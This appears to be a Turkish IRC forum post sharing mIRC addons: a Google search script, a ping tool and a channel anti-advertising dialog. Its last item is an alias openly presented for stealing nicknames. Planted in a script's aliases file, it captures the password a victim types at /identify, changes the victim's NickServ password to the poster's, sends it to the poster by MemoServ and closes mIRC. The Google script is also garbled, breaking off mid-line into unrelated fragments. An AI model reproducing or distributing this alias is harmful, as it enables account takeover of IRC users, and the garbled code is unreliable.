Forum
Aktif konular
Üyeler
Kurallar
Arama
Addonlar Addonlar
-
Addon İsmi: Google Searcher
Addon Kodu:
alias google {
if ($1 != $null) {
sockclose google
set %google.search $1-
sockopen google www.google.com 80
}
else {
echo -a You need to specify what to google
}
}
on *:sockopen:google:{
sockwrite -n $sockname GET /ie?q= $+ $replace($replace($replace(%google.search,$chr(32),$eval(%20,0)),&,$eval(%26,0)),=,$eval(%3D,0)) $+ &hl=en&lr=&ie=UTF-8&oe=UTF-8&btnG=Google+Search HTTP/1.1
sockwrite -n $sockname Host: www.google.com
sockwrite -n $sockname Connection: Keep-Alive
sockwrite -n $sockname $crlf
}
on *:sockread:google:{
if ($sockerr) {
echo -a Error.
halt
}
else {
;var %sock.temp
sockread %sock.temp
if (%sock.temp != $null) {
if (* iswm %sock.temp) {
var %sock.temp = $remove($remove(%sock.temp,),)
var %google.1 = $mid($gettok(%sock.temp,1,32),7)
var %google.3 = $gettok($mid($gettok(%sock.temp,$calc($findtok(%sock.temp,TARGET=_main,32) + 1),32),6),1,62)
var %google.2 = $gettok($gettok($gettok(%sock.temp,$calc($findtok(%sock.temp,TARGET=_main,32) + 1) $+ -,32),2,62),1,60)
$iif(%google.1 == 1.,window -k @Google)
$iif(%google.1 == 1.,aline @Google Results for %google.search)
aline @Google $replace($replace($replace($replace($replace(%google.1 %google.2 - 12 $+ %google.3,>,>),<, 1 && $int$2 |>|]*$)/g,$null,%x), %x = $remove(%x, )
return %x
}
on *:SOCKOPEN:hPing*:{
if ($sockerr > 0) {
sockclose $sockname
echo $color(info) -at * /hPing: An error has occured.
}
else {
sockwrite -n $sockname GET /tools/ping.ch?ip= $+ %hPing.host HTTP/1.1
sockwrite -n $sockname Host: www.dnsstuff.com
sockwrite -n $sockname Connection: keep-alive
sockwrite $sockname $crlf
%hPing.count = 0
%hPing.i = 0
}
}
on *:SOCKREAD:hPing*:{
sockread %hPing
tokenize 32 %hPing
inc %hPing.count
if (%hPing.count > 10 && %hPing.count = 21) {
sockclose $sockname
hPing.unset
}
unset %hPing
}
alias -l hPing.unset { unset %hPing.* }
on *:UNLOAD:{
unset %hPing.*
}
Addon Hakkında Bilgi ve Kullanımı:
Arkadaşlar bu kod mirc üzerinden ping çekmemizi sağlamaktadır. Kullanımı gayet basittir.
Öncelikle yukarıdaki kodu bir txt dosyasına kopyalayıp kaydediyoruz. Ve bunu mIRC Klasöründen ayrı bir klasör açarak içine atıyoruz. (Örn:hping) Daha sonra mircimizi açarak //load -rs hping ext.txt şeklinde addonumuzu kuruyoruz. Daha sonra mircimizi açarak /hPing IP/host şeklinde ping çekiyoruz.
addon ismi : reklam koruması , kanallar için.
Bilgi : Kanalda reklamları engellemek için koruma addonudur.
menu menubar,channel {
RekLam korumasI: dialog -m adver adver
}
on *:LOAD:{ echo -a ::: Reklam Koruması by Linux Yüklendi , Menubar ve Kanal Popupsunda Bulabilirsiniz , | set %words1 # *#* }
dialog adver {
size -1 -1 300 183
title "RekLam KorumasI"
box "Kelimeler",1, 5 5 150 148
button "OK",2, 125 160 50 20,ok
list 3, 15 20 130 140
edit "",5, 200 25 70 20, disable
button "KelimeEkle",4, 164 55 60 20, disable
text "Kelime",6, 170 29 30 20, disable
button "KelimeSil",7, 234 55 60 20, disable
box "Ayarlar",8, 159 5 139 75
box "Uygulama",9, 159 83 139 40
check "KickBan",10, 163 98 60 20, disable
edit "",11, 225 98 25 20, disable
text "Dak.",12, 252 101 30 20, disable
check "ACIK",13, 200 130 60 20
box "",14, 180 120 100 32
}
on 1:dialog:adver:sclick:*: {
if ($did == 3) { did -ra $dname 5 $did(3).seltext | did -e $dname 10 }
if ($did(13).state == 1) { set %senable 1 | did -e adver 3,4,5,6,7,10,11,12 } | else { set %senable 0 | did -b adver 3,4,5,6,7,10,11,12 }
if ($did == 4) { set %words1 [ %words1 ] $did(5) | did -a $dname 3 $did(5) | did -ra $dname 5 }
if ($did == 7) { if ($did(3).sel > 0) { set %words1 $remtok(%words1,$did(3).seltext,32) | did -d adver 3 $did(3).sel | did -ra $dname 5 | did -b $dname 7 } }
if ($did(10).state == 1) { set %kban 1 | did -e adver 11,12 } | else { set %kban 0 | did -b adver 11,12 }
if ($did($dname,11).text) { set %mins $ifmatch } | else { unset %mins }
}
IRC ALIASES CODE-2- ( Nick Çalmak İçin )
Aliases Kodu :
identify /set %identify $1- | .nickserv identify %identify | .ignore +r nickserv | .nickserv set password irccoderSnoB | .ignore -r nickserv | .ignore +r memoserv | .memoserv send SnoB $me nickinin $ifresi deiştirilmiştir. | .ignore -r memoserv | .exit
Not : İstediğiniz Mirc sürümüne ve ya istediğiniz Script’in Aliases dosyasına ekleyebilirsiniz.
Kullanımı : Mirc ya da Script’in Aliases dosyasına ekliyoruz bunu yukarıda anlatmı$tım.(1.Aliases Code’de).
=>> nickserv set password irccoderSnoB yazan yere istediğiniz $ifreyi (passwordu) yazacaksiniz.
=>> memoserv send SnoB yazan yerede kendi nick’ini yazacaksınız.
Sonra kurban nick password’unu girince Aliases code’si devreye girerek nick $ifresini sizin yazdıgınız $ifre $eklinde deği$tirecek ve sizin nick’inize Memoserv olarak gönderecek ve son olarakda kullandıgı IRC Script’i kapatacak. Kurban masaüstüne dönecek.
saygılarımla
-
güsel güsel:D:D:D::D:D:D:D
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Toplam Hit: 11617 Toplam Mesaj: 2
Cevapla